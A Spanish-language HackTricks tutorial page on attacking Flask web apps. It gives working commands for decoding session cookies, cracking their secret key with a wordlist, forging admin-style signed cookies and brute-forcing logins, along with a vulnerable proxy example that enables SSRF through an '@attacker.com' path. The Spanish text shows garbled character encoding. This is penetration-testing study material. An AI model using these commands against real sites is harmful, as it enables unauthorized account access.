Flask
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Probablemente, si est谩s participando en un CTF, una aplicaci贸n Flask estar谩 relacionada con SSTI.
Cookies
El nombre de la sesi贸n de cookie por defecto es session
.
Decoder
Decodificador de cookies Flask en l铆nea: https://www.kirsle.net/wizards/flask-session.cgi
Manual
Obt茅n la primera parte de la cookie hasta el primer punto y decodif铆calo en Base64.
echo "ImhlbGxvIg" | base64 -d
La cookie tambi茅n est谩 firmada usando una contrase帽a
Flask-Unsign
Herramienta de l铆nea de comandos para obtener, decodificar, forzar por fuerza bruta y crear cookies de sesi贸n de una aplicaci贸n Flask adivinando claves secretas.
{% embed url="https://pypi.org/project/flask-unsign/" %}
pip3 install flask-unsign
Decodificar Cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Fuerza Bruta
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Firma
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Firmado usando versiones antiguas (legacy)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Herramienta de l铆nea de comandos para realizar ataques de fuerza bruta a sitios web utilizando cookies creadas con flask-unsign.
{% embed url="https://github.com/Tagvi/ripsession" %}
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi en la cookie de sesi贸n de Flask con SQLmap
Este ejemplo utiliza la opci贸n eval
de sqlmap para firmar autom谩ticamente las cargas 煤tiles de sqlmap para Flask usando un secreto conocido.
Proxy de Flask a SSRF
En este informe se explica c贸mo Flask permite una solicitud que comienza con el car谩cter "@":
GET @/ HTTP/1.1
Host: target.com
Connection: close
驴Cu谩l en el siguiente escenario:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Podr铆a permitir introducir algo como "@attacker.com" para causar un SSRF.
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.